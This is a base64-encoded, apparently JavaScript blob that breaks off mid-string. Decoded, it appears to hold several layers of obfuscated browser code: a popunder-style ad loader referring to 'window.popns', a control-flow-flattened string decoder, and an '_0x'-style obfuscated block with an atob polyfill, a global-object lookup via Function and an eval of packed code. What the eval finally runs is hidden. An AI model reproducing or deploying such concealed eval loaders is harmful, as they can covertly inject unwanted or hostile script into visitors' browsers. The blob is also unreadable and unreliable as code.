pfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMH